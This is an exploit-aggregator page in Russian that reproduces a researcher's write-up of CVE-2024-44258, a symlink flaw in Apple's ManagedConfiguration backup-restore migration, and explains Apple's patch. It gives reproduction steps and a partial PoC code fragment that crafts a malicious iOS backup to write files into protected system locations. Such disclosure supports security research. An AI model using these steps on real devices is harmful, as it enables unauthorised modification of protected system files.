Sploitus

Exploit for CVE-2024-44258

kitploit · 2026-09-03

Exploit Code

MARKDOWN164 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-IFPDZ-CVE-2024-44258
# CVE-2024-44258: Уязвимость символьных ссылок в ManagedConfiguration Framework

## Краткое описание

**CVE-2024-44258** описывает уязвимость символьных ссылок (symlink) в **ManagedConfiguration framework** и демоне **profiled** на устройствах Apple. При восстановлении специально созданной резервной копии процесс миграции не проверяет, является ли целевая папка символьной ссылкой, что приводит к несанкционированной миграции файлов в ограниченные области.

* * *

## Идентификатор CVE

**CVE-2024-44258** присвоен данной проблеме. CVE — это уникальные идентификаторы публично раскрытых уязвимостей безопасности.

  * **Воздействие:** Восстановление вредоносной резервной копии может привести к изменению защищённых системных файлов.
  * **Описание:** Проблема устранена с помощью улучшенной обработки символьных ссылок в затрагиваемых компонентах.



Для получения дополнительной информации обратитесь к официальным страницам поддержки Apple:

  * support.apple.com/ru-ru/121569
  * support.apple.com/ru-ru/121566
  * support.apple.com/ru-ru/121563



* * *

## Подробности

### Затрагиваемые компоненты:

  * **ManagedConfiguration framework**
  * **Демон profiled**



### Воздействие:

Уязвимость позволяет злоумышленникам использовать символьные ссылки при восстановлении резервной копии для обхода ограничений папок и записи файлов в изолированные или защищённые области. Эта ошибка может потенциально привести к несанкционированному доступу к данным, повышению привилегий или эксплуатации других служб, зависящих от изменённой конфигурации.

* * *

## Воспроизведение

  1. **Создать специально сформированную резервную копию**

     * Создать символьную ссылку из:  
`/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/`  
в изолированную папку с использованием домена: 

root@kitploit:~
           
           SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles
           

  2. **Добавить нужные файлы**

     * Поместить файлы и папки в:  
`/private/var/mobile/Library/ConfigurationProfiles`  
с помощью **HomeDomain**.
  3. **Восстановить созданную резервную копию**

     * Восстановить резервную копию на любое устройство iPhone, iPod или iPad.
  4. **Перезагрузить устройство**

     * После перезагрузки проверить содержимое ограниченной области. Вы обнаружите, что файлы/папки были перенесены в ранее защищённое место.



* * *

## Ожидаемый и фактический результат

  * **Ожидалось:**  
`/private/var/mobile/Library/ConfigurationProfiles` должны быть перенесены в:  
`/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/`

  * **Фактически:**  
Из-за созданной символьной ссылки файлы переносятся в ограниченную папку, которая может содержать конфиденциальные или защищённые данные.




* * *

## Статус эксплойта

Эта уязвимость наблюдалась **в дикой природе в течение нескольких месяцев** , что указывает на её активную эксплуатацию.

* * *

# Описание исправления

В **iOS 18.1 beta5** Apple внедрила исправление для устранения уязвимости символьных ссылок в **ManagedConfiguration framework**. Была добавлена функция `_MCDestinationPathIsSafeFromSymlinkAttacks`, выполняющая проверку безопасности конечного пути и предотвращающая несанкционированную миграцию файлов в ограниченные области. Эта проверка была специально добавлена в функцию `MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:`.

* * *

## Затрагиваемая функция: `-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]`

Исправление уязвимости было реализовано путём изменения функции **`-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]`** , которая отвечает за миграцию файлов в рамках **ManagedConfiguration framework**. Вот как работает исправление:

  * **Добавление проверки символьной ссылки**  
Apple добавила вызов `_MCDestinationPathIsSafeFromSymlinkAttacks` в начале `MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:`. Эта функция теперь проверяет, не содержит ли конечный путь символьных ссылок, добавляя уровень защиты перед выполнением операции миграции.

  * **Условная проверка**  
Если `_MCDestinationPathIsSafeFromSymlinkAttacks` обнаруживает символьную ссылку в конечном пути, миграция блокируется. Функция записывает **сообщение об ошибке** с помощью `OS_LOG_TYPE_FAULT` и завершает файловую операцию досрочно.




* * *

## Сравнение кода

С помощью **Diaphora** в **IDA** сравнение версий **iOS 18.1 beta4** и **iOS 18.1 beta5** показывает изменения в функции `-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]`. Изображение ниже демонстрирует модифицированный код с добавленной проверкой символьной ссылки.

![Сравнение патча](https://assets.kitploit.com/production/public/readmes/26869/ae7b9f5c7821eb28bc5c3b3eb6876be4bbf53ecb3e2f38cd4269378f98187903.jpg)

* * *

## PoC (Доказательство концепции)

Ниже приведён пример кода, демонстрирующий создание резервной копии, эксплуатирующей уязвимость. Этот код показывает, как добавить символьную ссылку и файлы в резервную копию, имитируя процесс, но не предоставляя фактический файл резервной копии.

root@kitploit:~
    
    
    unsigned char* plist_data = NULL;
            file_read("/path/to/your/test-outofsandbox.plist", &plist_data, &plist_size); // ЭТОТ ПУТЬ НУЖНО ИЗМЕНИТЬ
    
        backup_add_directory(backup, "HomeDomain", "Library/ConfigurationProfiles", 0755, 501, 501);
        backup_add_file_with_data(backup, "HomeDomain", "Library/ConfigurationProfiles/test.plist", 0755, 501, 501, 4, plist_data, plist_size); // ДОБАВЛЯЕМ СВОИ ФАЙЛЫ
             
        backup_add_directory(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", NULL, 0755, 501, 501);
        backup_add_symlink(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", "Library", "/private/var/mobile/Library", 501, 501); // ИЗМЕНИТЕ ПУТЬ НА ИЗОЛИРОВАННУЮ ПАПКУ, В КОТОРУЮ ХОТИТЕ ЗАПИСАТЬ ФАЙЛЫ
        
        backup_write_mbdb(backup); // СОХРАНИТЬ РЕЗЕРВНУЮ КОПИЮ
        backup_free(backup);
    

* * *

## График раскрытия

  * **Первое сообщение Apple:** [06.07.2024]
  * **Назначен CVE:** CVE-2024-44258
  * **Публичное раскрытие:** [02.11.2024]



* * *

## Благодарности

Особая благодарность команде безопасности Apple за быструю реакцию и сотрудничество.

Уязвимость обнаружена Hichem Maloufi & Christian Mina

* * *

## Лицензия

Этот репозиторий распространяется под лицензией MIT. Дополнительную информацию см. в файле `LICENSE`.